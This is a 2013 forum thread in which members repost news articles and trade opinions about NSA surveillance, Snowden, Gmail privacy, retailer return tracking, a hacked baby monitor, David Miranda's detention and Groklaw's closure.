In Hayden's hypothetical, the NSA would want to use an advanced algorithm to search through the information it had collected on American citizens. Such an algorithm could, for instance, read the email of every American, the type of search that is strictly prohibited by the Fourth Amendment.

"The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized," the amendment reads.

Edward Snowden and the debate over privacy and national security dominated the Sunday shows in the wake of President Obama's Friday news conference in which he unveiled a series of proposed reforms.

The president suggested increasing the transparency of the eavesdropping and data collection project, and creating an advocate for civil liberties who would contest government requests for information before the secret court.

Sen. John McCain (R-Ariz.) told Fox News Sunday's Chris Wallace that he could get behind the president. "I don't disagree with any of those proposals of the president," he said.

McCain, for his part, said he was concerned that younger people were losing trust in the government, and that many seemed to view Snowden as "some kind of Jason Bourne."

Hayden was asked his opinion of Snowden. "I've actually thought about this," he said. "He didn't inform [the debate], he made it more emotional."

He compared Snowden's revelations to Hurricane Katrina. The disaster, Hayden said, had led to the construction of much stronger levies, which is a good thing, but, "Katrina was still a bad thing."

"He wasn't a whistleblower, he was a defector," Hayden determined.

Asked specifically if he considered Snowden a traitor, he said, "Traitor is narrowly defined in the Constitution. I'll stick with defector."

Hayden was also asked about members of Congress, who have criticized the NSA for being less than transparent, even in its classified briefings. "Let me apologize to members of Congress," he said, before adding that, "this is just incredibly complicated."

"The agency's been tremendously candid," he promised, pointing to a previous classified letter that informed Congress that "we are gathering the metadata of all calls in the United States."

After apologizing, he pinned the blame on members of Congress. "If you don't have time" to sufficiently study the intelligence community, he said, "then you shouldn't be a member of the [intelligence] committee."

This story has been updated to include full quotes from Hayden's interview.
Title: Re: they know what you are doing
Post by: zorgon on August 12, 2013, 02:17:27 am
POINT ONE

They have over 120 spy agencies on the public payroll

They have ECHELON and MUOS listening posts all over the world

They have every internet network being recorded

They monitor every email and cell phone call

They have satellites (hundreds) that can read a newspaper over your shoulder...

HOW MUCH MORE CAN THEY POSSIBLE SPY ON????

POINT TWO

90% of people on Facebook and Twitter ( as well as on the rest of the web...) do little more than post pictures and add endless comment like 'pretty pic or share false news stories or the latest gossip....

WHY do these people think that the SPOOKS give a rats ass about what they are up to?

Now me for example... been spending years exposing whatever I can... and yes THEY have visited the house and spent three days chatting. At the end of that visit my .mil access increased and today bout NASA and the Military run a few ads on the Living Moon :D

So STOP WORRYING you are not important enough :P If you were they would already have knocked on your door :D
Title: Re: they know what you are doing
Post by: Sinny on August 12, 2013, 03:23:57 am
Ha.

I had to get my laptop serviced yesterday, as there appeared to be something eating my system from the inside out - and I couldn't locate the damned thing.

The guy who worked on it said it apeared 'somebody' was in there 'having a good nose around'.

Hmm.
Title: Re: they know what you are doing
Post by: sky otter on August 12, 2013, 07:09:48 am

So STOP WORRYING you are not important enough  If you were they would already have knocked on your door  

no worries on my end..see reply #247

bwhahahahahahahahahahah
















Reply #247
yeah the whole bunch of these articles
(which i am only putting here to watch the evolution of the spin)

makes me want to laugh and cry at the same time

i keep asking
who believes this stuff?
and sadly the answer is
millions
but most folk ~ that wonderous silent majority ~ aren't even paying attention
Title: Re: they know what you are doing
Post by: stealthyaroura on August 12, 2013, 03:27:35 pm
POINT ONE

They have over 120 spy agencies on the public payroll

They have ECHELON and MUOS listening posts all over the world

They have every internet network being recorded

They monitor every email and cell phone call

They have satellites (hundreds) that can read a newspaper over your shoulder...

HOW MUCH MORE CAN THEY POSSIBLE SPY ON????

POINT TWO

90% of people on Facebook and Twitter ( as well as on the rest of the web...) do little more than post pictures and add endless comment like 'pretty pic or share false news stories or the latest gossip....

WHY do these people think that the SPOOKS give a rats ass about what they are up to?

Now me for example... been spending years exposing whatever I can... and yes THEY have visited the house and spent three days chatting. At the end of that visit my .mil access increased and today bout NASA and the Military run a few ads on the Living Moon :D

So STOP WORRYING you are not important enough :P If you were they would already have knocked on your door :D

EXACTLY ECHELON and my country the UK does most the work THIS IS OLD NEWS!!!!!
I don't care.I'm not shocked! if you are then you have dropped the ball.menwith hill anybody??
Title: Re: they know what you are doing
Post by: sky otter on August 12, 2013, 08:49:04 pm


ah just another data base..
what's the harm >:(



http://www.today.com/money/serial-returners-beware-retailers-are-tracking-you-6C10900265#money/serial-returners-retailers-are-tracking-you-6C10900265

Your money
Serial returners, beware: Retailers are tracking you
 
Jennifer C. Kerr The Associated Press
10 hours ago

It's not just the government that might be keeping tabs on you. Many retailers are tracking you, too — or at least your merchandise returns.

The companies say it's all in the name of security and fighting fraud. They want to be able to identify chronic returners or gangs of thieves trying to make off with high-end products that are returned later for store credit.

Consumer advocates are raising transparency issues about the practice of having companies collect information on consumers and create "return profiles" of customers at big-name stores such as Best Buy, J.C. Penney, Victoria's Secret, Home Depot and Nike.

The practice led to a privacy lawsuit against Best Buy that eventually was tossed out.

Each year, consumers return about $264 billion worth of merchandise, or almost 9 percent of total sales, according to industry estimates.

Many buyers aren't aware that some returns, with and without receipts, are being monitored at stores that outsource that information to a third-party company, which creates a "return profile" that catalogs and analyzes the customer's returns at the store.

"I had absolutely no idea they were doing that," said Mari Torres of Springfield, Va., during a shopping trip with her daughter at the Pentagon City Mall in Arlington, Va. "I honestly think it's an invasion of privacy."

Torres, 39, says she's a responsible shopper and she'd like to know what kind of information retailers keep on her, with whom they may be sharing it, and how long they keep it.

One company that offers return tracking services, The Retail Equation in Irvine, Calif., says it doesn't share information in the profiles it creates with outside parties or with other stores.

For example, if TRE logs and analyzes returns from a Victoria's Secret customer, The Retail Equation only reports back to Victoria's Secret about the return activity. It does not then also share that information with J.C. Penney or other retailers that use TRE.

Even so, consumer advocates don't like it.

"There should be no secret databases. That's a basic rule of privacy practices," says Ed Mierzwinski, consumer program director at the U.S. Public Interest Research Group. "Consumers should know that information is being collected about them."

The retail industry says it's not about monitoring the majority of its shoppers, but fighting theft.

Lisa LaBruno, senior vice president of retail operations at the Retail Industry Leaders Association, says organized retail crime is costing retailers tens of billions of dollars each year.

LaBruno says the problem goes beyond the small-time shoplifter and involves organized groups of criminals who make a living from the large-scale theft of merchandise. For example, they might switch the UPC code on a $600 faucet with a lower-cost code that rings up at $50. They buy the faucet, then replace the fake UPC tag with the original, higher-priced code, and return the faucet to the store without the receipt for a $600 store credit, which can later be sold online.

"It's not to invade the privacy of legitimate customers at all," LaBruno said in an interview. "It's one of many, many, creative solutions out there to help combat a really big problem that affects retailers, honest customers, the entire industry and the public at-large."

The problem, says government privacy experts, is disclosure, or lack of it in many cases.

People need to be aware when they make a purchase that if they return it, some information from the transaction may be stored, according to the experts.

"Most people think when they hand over a driver's license that it's just to confirm identity and not to be kept to be used for future transactions," says the Federal Trade Commission's Bob Schoshinski, assistant director at the agency's division of privacy and identity protection. "It shouldn't be that a third party is keeping a profile on someone without them being informed what's going to happen when they hand over their driver's license or some other information to a retailer."

In some cases, the disclosure by retailers is conspicuous. In others, not so much.

At Best Buy, a sign at each cash register states the return policy, and it's also on the back of the receipt, telling consumers that returns are tracked and an ID is required. The disclosure adds: "Based on return/exchange patterns, some customers will be warned that subsequent returns and exchanges will not be eligible for returns or exchanges for 90 days. Customers who are warned or have been denied an exchange/return may request a copy of their 'Return Activity Report'" from The Retail Equation by contacting the company.

At Victoria's Secret and Bath and Body Works, disclosures at the cash register said nothing about The Retail Equation's tracking returns.

Home Depot spokesman Stephen Holmes says the return tracking isn't just about money.

"This isn't only about protecting our bottom line," Holmes said in an interview. "It's about protecting our communities, too. We know from working with law enforcement at the state and federal levels that organized retail crime is feeding other crimes, such as drug trafficking and even terrorism, in some cases."

The Retail Equation says more than 27,000 stores use its services. Best Buy, Home Depot, J.C. Penney, Victoria's Secret, Bath and Body Works, and Nike are among its clients. TRE would not say how long the profiles on consumers are kept in its database; it varies from retailer to retailer. But a recent "return activity report" obtained by one consumer turned up returns to The Sports Authority dating to 2004.

Here's how the tracking works.

—A consumer buys an item at Best Buy and later returns it. Even if the shopper has the original receipt and is within the time frame when returns are permitted, store policy requires that Smith provide a photo ID, such as a driver's license. Other stores, such as Home Depot, only require the ID if there's no receipt or if the item was purchased with a store credit.

—The ID is swiped and then some information from the transaction is sent by the store to The Retail Equation. The company says the information captured from the ID typically includes the identification number, name, address, date of birth and expiration date.

—The Retail Equation catalogs return activity by the shopper and creates a "return activity report" on him with his returns at the store. If The Retail Equation determines that there's a pattern of questionable returns that suggests potential fraud, it would notify Best Buy, which could then deny returns by that shopper at the store for a period of time.

The threshold for too many returns is determined by each retailer. The Retail Equation says the vast majority of returns — about 99 percent — are accepted.

In a 2011 lawsuit in Florida against Best Buy, Steven Siegler complained after the magnetic strip on his driver's license was swiped for a return. He wanted the manager to delete the information. His suit said Best Buy refused. He alleged that Best Buy violated privacy law when it swiped the license. But a federal appeals court agreed with a lower court ruling that the Driver's Privacy Protection Act didn't apply in the case.

Title: Re: they know what you are doing
Post by: robomont on August 13, 2013, 05:31:29 am
i totally forgot about this surveilence thread and posted a link about the nsa over on gigas thread .sorry.
alot of good info your posting sky.thankyou.i think all the snooping  is going to cause a backlash to the gov.maybe in november.
Title: Re: they know what you are doing
Post by: sky otter on August 13, 2013, 06:36:09 am


hey Robo...no problem
but they are already working on the next election
coming to a state near you...sigh




North Carolina Voter ID Bill Signed Into Law By Gov. Pat McCrory, Sparking Lawsuits
The Huffington Post  |  By Luke Johnson Posted: 08/12/2013 6:03 pm EDT  |  Updated: 08/12/2013 7:01 pm EDT

http://www.huffingtonpost.com/2013/08/12/north-carolina-voter-id_n_3745253.html
Title: Re: they know what you are doing
Post by: sky otter on August 13, 2013, 08:36:07 pm

customers want what? ? ?

obviously lines have been added so you don't copy the entire artice..OPPS




http://www.huffingtonpost.com/2013/08/13/gmail-privacy_n_3751971.html

Google: Gmail Users Can't Legitimately Expect Privacy

The Huffington Post  |  By Braden Goyette
Posted: 08/13/2013 9:16 pm EDT  |  Updated: 08/13/2013 9:41 pm EDT


Google doesn't believe that people can reasonably expect their emails to stay private.

At least, that's what the internet giant articulated in a brief that was filed last month in federal court and recently surfaced by Consumer Watchdog. The document was written in response to a class-action lawsuit accusing Google of violating wiretap law when it scans emails to serve up targeted ads.

Plantiffs accuse Google of violating the privacy of its users by mining their personal messages for information that it uses to inform which targeted ads it displays. The suit calls for Google to fully disclose exactly what information it's taking from emails, and to pay damages for these alleged violations of privacy. (You can read a redacted version of the complaint here).

The company argued in its motion to dismiss the lawsuit that "all users of email must necessarily expect that their emails will be subject to automated processing." (You can read the full motion here).

Google asserts that, in principle, if you entrust your personal messages to a third party, you can't expect that the third party won't touch any of that information:

Just as a sender of a letter to a business colleague cannot be surprised that the recipient’s assistant opens the letter, people who use web-based email today cannot be surprised if their communications are processed by the recipient’s ECS provider in the course of delivery. Indeed, “a person has no legitimate expectation of privacy in information he voluntarily turns over to third parties.” Smith v. Maryland, 442 U.S. 735, 743-44 (1979). In particular, the Court noted that persons communicating through a service provided by an intermediary (in the Smith case, a telephone call routed through a telephone company) must necessarily expect that the communication will be subject to the intermediary’s systems. For example, the Court explained that in using the telephone, a person “voluntarily convey numerical information to the telephone company and ‘expose’ that information to its equipment in the ordinary course of business.”
Google also argued that restricting how email providers are permitted to process the data they receive could "criminalize" features like spam filtering and inbox searches:

Last, Plaintiffs’ claims should be rejected because they would lead to anomalous results with far-ranging consequences beyond the allegations in the Complaint. Plaintiffs’ theory–that any scanning of email content by ECS providers is illegal–would effectively criminalize routine practices that are an everyday aspect of using email. Indeed, Plaintiffs’ effort to carve out spam filtering and virus detection from their claims underscores the fact that their theory of liability would otherwise encompass these common services that email users depend on.
This isn't the first time Google has gotten into trouble over privacy issues. In 2011, the company settled with the Federal Trade Commission after the regulator accused Google of employing "deceptive" privacy practices during the 2010 launch of Google Buzz.

Google was also named by the Guardian newspaper in June as one of the companies that gives the NSA "direct access to its systems" as part of a surveillance program called PRISM. Google has denied the allegations; the company's Chief Legal Officer David Drummond told the Guardian that the company is "not in cahoots with the NSA and there's no government program that Google participates in that allows the kind of access that the media originally reported."

Google also argued that restricting how email providers are permitted to process the data they receive could "criminalize" features like spam filtering and inbox searches:





?7 Gmail Questions You Were Afraid To Ask
Title: Re: they know what you are doing
Post by: sky otter on August 14, 2013, 02:24:47 pm

i read this yesterday and it really bothered me..the update makes it more explainable but not any more reassuring




http://www.huffingtonpost.com/2013/08/13/hacked-baby-monitor-houston-texas-parents_n_3750675.html?utm_hp_ref=parents&ir=Parents

Hacked Baby Monitor Caught Spying On 2-Year-Old Girl In Texas (UPDATE)
The Huffington Post  |  By Ryan Grenoble Posted: 08/13/2013 7:19 pm EDT  |  Updated: 08/14/2013 11:18

you need another reason to make sure your networks are secure and up to date, here it is: hacked baby monitors.

In a true nightmare story, two Texas parents say they woke up this past weekend to hear a stranger's voice coming from the room of their 2-year-old girl.

"It felt like somebody broke into our house," Marc Gilbert told ABC affiliate KTRK.

As Gilbert walked down the hall and entered the room, he says he heard the voice say, "Wake up Allyson, you little [expletive]." The camera on their trusted baby monitor then rotated to watch Marc walk into the room as he rushed to unplug it.

Marc said Allyson has impaired hearing and apparently slept through the entire baby monitor incident. Regardless, it has left the family shaken.

"I don't think it ever will be connected again ... I think we are going to go without the baby monitor now," Gilbert told ABC News.

Hackers targeting webcams on laptops and other computers is nothing new. The uber-creepy (not to mention illegal) practice, known as "ratting," was well documented in an Ars Technica article published in March. But baby monitors? That's enough to make us fear the boogeyman again.

UPDATE: Aug. 14 -- Forbes believes the device Gilbert installed as a baby monitor was a Foscam wireless camera, which boasts "remote internet monitoring from anywhere in the world" as one of its top features. The camera has a known firmware vulnerability that can be exploited via a number of methods. A firmware update has been released to address the problem.

In a comment posted to the original ABC story, Gilbert says he had a firewall enabled and both the camera and routers were password protected.
Title: Re: they know what you are doing
Post by: Somamech on August 14, 2013, 02:45:17 pm
Otter this is what got my beef up when so called normal people joined the web in the form's of Facespock and what have you.

Basically most people always suspected the web was monitored in the circle's of web prior to facespock.  The web was about joining a forum run by an individual, making friends with people within a mutual group of people and then maybe chatting on IRC or what have you. 

Oddly people complain about Facebook yet what happend is that people gave up their choice of platform to mega company's.  In the old day's you chose who you want to chat with,  you chose the forum's you have interst in , and in some case's you use a chat program to choose to keep in touch with people you may meet in these endeavour's. 

See where it's gone now ?  People don't choose their software to engage with one another.  Twitter is only a chat program and nothing else.  Facebook is another level of chat program / website.  It's way easier to monitoer that sort of activity when it's centralised than metric's elsewhere.   

I've often wondered why I have never heard a good rant piece on twitter and facebook regarding this matter !!! 

   
Title: Re: they know what you are doing
Post by: ArMaP on August 15, 2013, 02:55:17 am
It's way easier to monitoer that sort of activity when it's centralised than metric's elsewhere. 

I've often wondered why I have never heard a good rant piece on twitter and facebook regarding this matter !!!
And what about Facebook's "Friend Finder"? I find that particularly interesting, as they present the email address we used to join Facebook and then ask for the email account password, so they can look at our emails and contacts and look for those people on Facebook.

That's only to help us, obviously.  ::)

The other day I noticed that Facebook was asking me to use Friend Finder and said my sister had used it. As I found that highly unlikely I asked my sister about it and she confirmed that she never used it, she wasn't even aware that such thing existed.

So, not only do they want access to our email, they also lie about who used the system to try to convince us of using it.
Title: Re: they know what you are doing
Post by: stealthyaroura on August 17, 2013, 02:06:29 pm
SKY it's an epic thread my friend and please keep it up PEOPLE NEED TO KNOW THE TRUTH!
I just don't find any of this surprising, as stated the UK have been listening for decades so
it's been common knowledge here for years.yes I would like it to end but i just don't let them
get to me.and as for snowdon MEH! he's a plant  ::) simply for the sheep imo.
Title: Re: they know what you are doing
Post by: sky otter on August 18, 2013, 03:13:21 pm
hi stealthy
yeah kinda epic..hahahah..got more below..and this is not good




http://www.theguardian.com/commentisfree/2013/aug/18/david-miranda-detained-uk-nsa

Detaining my partner: a failed attempt at intimidation
The detention of my partner, David Miranda, by UK authorities will have the opposite effect of the one intended



Glenn Greenwald
theguardian.com, Sunday 18 August 2013 14.44 EDT

At 6:30 am this morning my time - 5:30 am on the East Coast of the US - I received a telephone call from someone who identified himself as a "security official at Heathrow airport." He told me that my partner, David Miranda, had been "detained" at the London airport "under Schedule 7 of the Terrorism Act of 2000."

David had spent the last week in Berlin, where he stayed with Laura Poitras, the US filmmaker who has worked with me extensively on the NSA stories. A Brazilian citizen, he was returning to our home in Rio de Janeiro this morning on British Airways, flying first to London and then on to Rio. When he arrived in London this morning, he was detained.

At the time the "security official" called me, David had been detained for 3 hours. The security official told me that they had the right to detain him for up to 9 hours in order to question him, at which point they could either arrest and charge him or ask a court to extend the question time. The official - who refused to give his name but would only identify himself by his number: 203654 - said David was not allowed to have a lawyer present, nor would they allow me to talk to him.

I immediately contacted the Guardian, which sent lawyers to the airport, as well various Brazilian officials I know. Within the hour, several senior Brazilian officials were engaged and expressing indignation over what was being done. The Guardian has the full story here.(see below)
Despite all that, five more hours went by and neither the Guardian's lawyers nor Brazilian officials, including the Ambassador to the UK in London, were able to obtain any information about David. We spent most of that time contemplating the charges he would likely face once the 9-hour period elapsed.

According to a document published by the UK government about Schedule 7 of the Terrorism Act, "fewer than 3 people in every 10,000 are examined as they pass through UK borders" (David was not entering the UK but only transiting through to Rio). Moreover, "most examinations, over 97%, last under an hour." An appendix to that document states that only .06% of all people detained are kept for more than 6 hours.

The stated purpose of this law, as the name suggests, is to question people about terrorism. The detention power, claims the UK government, is used "to determine whether that person is or has been involved in the commission, preparation or instigation of acts of terrorism."

But they obviously had zero suspicion that David was associated with a terrorist organization or involved in any terrorist plot. Instead, they spent their time interrogating him about the NSA reporting which Laura Poitras, the Guardian and I are doing, as well the content of the electronic products he was carrying. They completely abused their own terrorism law for reasons having nothing whatsoever to do with terrorism: a potent reminder of how often governments lie when they claim that they need powers to stop "the terrorists", and how dangerous it is to vest unchecked power with political officials in its name.

Worse, they kept David detained right up until the last minute: for the full 9 hours, something they very rarely do. Only at the last minute did they finally release him. We spent all day - as every hour passed - worried that he would be arrested and charged under a terrorism statute. This was obviously designed to send a message of intimidation to those of us working journalistically on reporting on the NSA and its British counterpart, the GCHQ.

Before letting him go, they seized numerous possessions of his, including his laptop, his cellphone, various video game consoles, DVDs, USB sticks, and other materials. They did not say when they would return any of it, or if they would.

This is obviously a rather profound escalation of their attacks on the news-gathering process and journalism. It's bad enough to prosecute and imprison sources. It's worse still to imprison journalists who report the truth. But to start detaining the family members and loved ones of journalists is simply despotic. Even the Mafia had ethical rules against targeting the family members of people they felt threatened by. But the UK puppets and their owners in the US national security state obviously are unconstrained by even those minimal scruples.

If the UK and US governments believe that tactics like this are going to deter or intimidate us in any way from continuing to report aggressively on what these documents reveal, they are beyond deluded. If anything, it will have only the opposite effect: to embolden us even further. Beyond that, every time the US and UK governments show their true character to the world - when they prevent the Bolivian President's plane from flying safely home, when they threaten journalists with prosecution, when they engage in behavior like what they did today - all they do is helpfully underscore why it's so dangerous to allow them to exercise vast, unchecked spying power in the dark.

David was unable to call me because his phone and laptop are now with UK authorities. So I don't yet know what they told him. But the Guardian's lawyer was able to speak with him immediately upon his release, and told me that, while a bit distressed from the ordeal, he was in very good spirits and quite defiant, and he asked the lawyer to convey that defiance to me. I already share it, as I'm certain US and UK authorities will soon see..

..........................





http://www.theguardian.com/world/2013/aug/18/glenn-greenwald-guardian-partner-detained-heathrow



Glenn Greenwald's partner detained at Heathrow airport for nine hoursDavid Miranda, partner of Guardian interviewer of whistleblower Edward Snowden, questioned under Terrorism Act

Glenn Greenwald: a failed attempt at intimidation

Glenn Greenwald (right) and his partner David Miranda, who was held by UK authorities at Heathrow airport. Photograph: Janine Gibson
The partner of the Guardian journalist who has written a series of stories revealing mass surveillance programmes by the US National Security Agency was held for almost nine hours on Sunday by UK authorities as he passed through London's Heathrow airport on his way home to Rio de Janeiro.

David Miranda, who lives with Glenn Greenwald, was returning from a trip to Berlin when he was stopped by officers at 8.05am and informed that he was to be questioned under schedule 7 of the Terrorism Act 2000. The controversial law, which applies only at airports, ports and border areas, allows officers to stop, search, question and detain individuals.

The 28-year-old was held for nine hours, the maximum the law allows before officers must release or formally arrest the individual. According to official figures, most examinations under schedule 7 – over 97% – last under an hour, and only one in 2,000 people detained are kept for more than six hours.

Miranda was released, but officials confiscated electronics equipment including his mobile phone, laptop, camera, memory sticks, DVDs and games consoles.

Since 5 June, Greenwald has written a series of stories revealing the NSA's electronic surveillance programmes, detailed in thousands of files passed to him by whistleblower Edward Snowden. The Guardian has also published a number of stories about blanket electronic surveillance by Britain's GCHQ, also based on documents from Snowden.

While in Berlin, Miranda had visited Laura Poitras, the US film-maker who has also been working on the Snowden files with Greenwald and the Guardian. The Guardian paid for Miranda's flights.

"This is a profound attack on press freedoms and the news gathering process," Greenwald said. "To detain my partner for a full nine hours while denying him a lawyer, and then seize large amounts of his possessions, is clearly intended to send a message of intimidation to those of us who have been reporting on the NSA and GCHQ. The actions of the UK pose a serious threat to journalists everywhere.

"But the last thing it will do is intimidate or deter us in any way from doing our job as journalists. Quite the contrary: it will only embolden us more to continue to report aggressively."

A spokesperson for the Guardian said: "We were dismayed that the partner of a Guardian journalist who has been writing about the security services was detained for nearly nine hours while passing through Heathrow airport. We are urgently seeking clarification from the British authorities."

A spokesperson for Scotland Yard said: "At 08:05 on Sunday, 18 August a 28-year-old man was detained at Heathrow airport under schedule 7 of the Terrorism Act 2000. He was not arrested. He was subsequently released at 17:00."

Scotland Yard refused to be drawn on why Miranda was stopped using powers which enable police officers to stop and question travellers at UK ports and airports.

There was no comment from the Home Office in relation to the detention. However, there was surprise in political circles and elsewhere. Labour MP Tom Watson said that he was shocked at the news and called for it to be made clear if any ministers were involved in authorising the detention.

He said: "It's almost impossible, even without full knowledge of the case, to conclude that Glenn Greenwald's partner was a terrorist suspect.

"I think that we need to know if any ministers knew about this decision, and exactly who authorised it."

"The clause in this act is not meant to be used as a catch-all that can be used in this way."

Schedule 7 of the Terrorism Act has been widely criticised for giving police broad powers under the guise of anti-terror legislation to stop and search individuals without prior authorisation or reasonable suspicion – setting it apart from other police powers.

Those stopped have no automatic right to legal advice and it is a criminal offence to refuse to co-operate with questioning under schedule 7, which critics say is a curtailment of the right to silence.

Last month the UK government said it would reduce the maximum period of detention to six hours and promised a review of the operation on schedule 7 amid concerns it unfairly targets minority groups and gives individuals fewer legal protections than they would have if detained at a police station
Title: Re: they know what you are doing
Post by: sky otter on August 19, 2013, 08:02:17 pm




http://www.huffingtonpost.com/2013/08/19/guardian-hard-drives_n_3782382.html

Guardian Editor: U.K. 'Security Experts' Entered Offices And Destroyed Hard Drives
The Huffington Post  |  By Adam Goldberg
Posted: 08/19/2013 8:42 pm EDT  |  Updated: 08/19/2013 10:06 pm EDT


Alan Rusbridger, editor of The Guardian, wrote on Monday about an unsettling encounter http://www.theguardian.com/commentisfree/2013/aug/19/david-miranda-schedule7-danger-reporters with "security experts" from the U.K.'s GCHQ intelligence agency.

According to Rusbridger, "a very senior government official" contacted him about two months ago demanding the surrender or destruction of all materials in the publication's possession relating to the surveillance operations uncovered by Edward Snowden.

About a month later, Rusbridger recalls receiving a phone call "from the centre of government" in which he was told, "You've had your fun. Now we want the stuff back." He goes on to explain:

There followed further meetings with shadowy Whitehall figures. The demand was the same: hand the Snowden material back or destroy it. I explained that we could not research and report on this subject if we complied with this request. The man from Whitehall looked mystified. "You've had your debate. There's no need to write any more."
During one meeting, Rusbridger explained to an official that if the British government were to take legal steps in order to roadblock the paper's reporting, the work could simply be done outside of the country. That's when things took a disturbing turn:

The man was unmoved. And so one of the more bizarre moments in the Guardian's long history occurred – with two GCHQ security experts overseeing the destruction of hard drives in the Guardian's basement just to make sure there was nothing in the mangled bits of metal which could possibly be of any interest to passing Chinese agents. "We can call off the black helicopters," joked one as we swept up the remains of a MacBook Pro.
Despite this apparent attempt at intimidation, as well as the previously reported nine-hour detention http://www.huffingtonpost.com/2013/08/18/glenn-greenwald-partner-detained-david-miranda-airport_n_3776825.htmlof Glenn Greenwald's partner David Miranda at London's Heathrow airport, Rusbridger explained that The Guardian "will continue to do patient, painstaking reporting on the Snowden documents, we just won't do it in London."

Greenwald has been similarly undeterred http://www.huffingtonpost.com/2013/08/19/glenn-greenwald-uk-secrets-britain-detains-partner_n_3779667.html by recent events. Following the detention of Miranda under the controversial schedule 7 portion of Britain's Terrorism Act, http://www.theguardian.com/law/2013/aug/19/david-miranda-detention-schedule-7-terrorism-act

Greenwald stated, "I will be far more aggressive in my reporting from now. I am going to publish many more documents. I am going to publish things on England too. I have many documents on England's spy system. I think they will be sorry for what they did."

Rusbridger's full column can be read here.http://www.theguardian.com/commentisfree/2013/aug/19/david-miranda-schedule7-danger-reporters
Title: Re: they know what you are doing
Post by: sky otter on August 21, 2013, 10:42:32 am


you tech guys might be interested in this



http://www.bbc.co.uk/news/technology-23768810




Groklaw news website abandoned over US surveillance
By Pia Gadkari Technology reporter
20 August 2013 Last updated at 14:32 ET



 Groklaw publishes information on technology and patent legal cases An award-winning legal news website has stopped work, saying it cannot operate under current US surveillance policies.

Pamela Jones, Groklaw's founder, cited the alleged US practice of screening emails from abroad and storing messages "enciphered or otherwise thought to contain secret meaning" for five years.

Groklaw had promised its sources anonymity, but said it could not now ensure contributors would stay secret.

Experts said they were worried that a site like Groklaw was closing.

The US National Security Agency's operations came under the spotlight following a series of leaks to the Guardian newspaper by former intelligence analyst Edward Snowden.

The NSA has since confirmed that it collected and analysed emails and other "select communications" from non-US persons, and that messages from US citizens were "sometimes incidentally acquired" as part of its operations.

In the wake of the disclosures, two encrypted email services - designed so that no-one other than the recipient could read the messages - have also closed.

One of those services, Lavabit, alluded to harassment by the US government in a statement to its customers when it shut down.

'Impunity for journalists'
 
"There is no way to continue doing Groklaw, not long term, which is incredibly sad," Ms Jones wrote, adding: "There is now no shield from forced exposure."

Ms Jones suggested that the anonymity of Groklaw's contributors could be at risk, since emails were screened by the US government.

"I can't do Groklaw without your input," she said. "There is now no private way, evidently, to collaborate."

She added: "What kind of world are we living in if the governments of the world think total surveillance is an appropriate thing?"

The website gave no prior indication that it might close, and legal experts have said the development is unfortunate.

"I'm saddened to hear about the demise of Groklaw," said Michael Meurer, a professor of law at Boston University.

"It has been a great source for information about the latest developments in technology law and policy. Several of my students launched their research projects based on what they learned reading Groklaw."

London-based patent lawyer Andrew Alton, of Urquhart-Dykes and Lord, said: "It's been a great resource because it brings together all the available documents, instead of reading second or third hand analysis.

"I understand why Ms Jones has decided it cannot continue.

"There is a danger that, by encouraging people to contribute, those individuals might be incriminating themselves."

Heather Blake, of Reporters Without Borders, said it was an issue of great concern if journalists in the US and UK began to feel intimidated by their governments.

"This has been going on in countries where there have been high levels of impunity for journalists both online and offline," she said.

"Humans have a right to freedom of expression, and freedom of information."

Andrea Matwyshyn, a law professor at Wharton School, University of Pennsylvania, added: "The final Groklaw post debunked the argument that if one has nothing to hide, one should not be concerned with internet privacy, comparing digital surveillance to the type of dignitary violation committed by a burglar who touches undergarments in a home.

"This comparison will likely strike a chord with many internet users who feel unable to understand who is collecting information about them and for what purpose."

Prominent patents blogger, Florian Mueller, who has been the subject of criticism by Groklaw, noted the website announced it would close in 2011.

"We've had our differences in the past," he said. "But I think it likely that Groklaw will be back."

The site, which was founded in 2003, has focused on technology and patent cases, most recently reporting on a battle between Apple and Samsung.

More on This Story
Related StoriesAnalysis: Will web 'snoop' plans work? 02 APRIL 2012, TECHNOLOGY
Inside the minds of the 'hacktivists' 26 NOVEMBER 2012, TECHNOLOGY
Title: Re: they know what you are doing
Post by: sky otter on August 21, 2013, 10:50:32 am


http://m.theatlanticwire.com/national/2013/08/nsa-overwhelmed-their-snowden-damage-assessment/68554/


An 'Overwhelmed' NSA Still Doesn't Know What Snowden Took

By Abby Ohlheiser   |   Aug 20, 2013
Despite the NSA's statements to the contrary, it looks like the intelligence agency doesn't know everything that whistleblower Edward Snowden took from them after all. Intelligence officials told NBC News that the NSA was still “overwhelmed” with the work of finding out what else Snowden has. The news comes just two days after British authorities detained journalist Glenn Greenwald's partner David Miranda for nearly 9 hours.

Here's why the agency hasn't yet caught up to Snowden's leaks, according to NBC:

The NSA had poor data compartmentalization, said the sources, allowing Snowden, who was a system administrator, to roam freely across wide areas. By using a “thin client” computer he remotely accessed the NSA data from his base in Hawaii. One U.S. intelligence official said government officials “are overwhelmed" trying to account for what Snowden took. Another said that the NSA has a poor audit capability, which is frustrating efforts to complete a damage assessment.

NBC's report fits right into a PR war over what the government knows about Snowden's secret stash. Here's the recap: in early June, investigators figured out that Snowden probably took information from the NSA's servers using a thumb drive, leading one official to say that they "know how many documents he downloaded and what server he took them from," implying that the government was well on its way to getting a handle on the damage. But later that month, Deputy National Security Advisor Ben Rhodes told reporters that the White House still didn't know what Snowden took. Then, an anonymously-sourced story at CNN confidently claimed that Snowden didn't have the "instruction manual" to the NSA's surveillance programs, in response to a comment from Greenwald indicating that Snowden had something like a "blueprint" to the agency in his hands. But the most overtly omniscient statement on the NSA's capacity to figure out what Snowden has comes from the agency's director Keith Alexander:

We have tremendous oversight over these programs. We can audit the actions of our people 100 percent, and we do that.

The Atlantic previously raised some doubts over that claim. For one thing, Alexander said in June that the agency was "now putting in place actions that would give us the ability to track our system administrators." Alexander has since said that he was going to just replace almost all of the system administrators working for the NSA with machines.

NSA followers won't be terribly surprised at the discrepancy between public and private statements from the agency. Just last week, an internal audit obtained by Snowden and leaked to the Washington Post revealed that the agency has very little oversight from the secret court designed to keep it legal. That report was, if not the last, one of the final nails in the coffin for the agency's "oversight" rebuttal to criticism of their secret data collection programs.

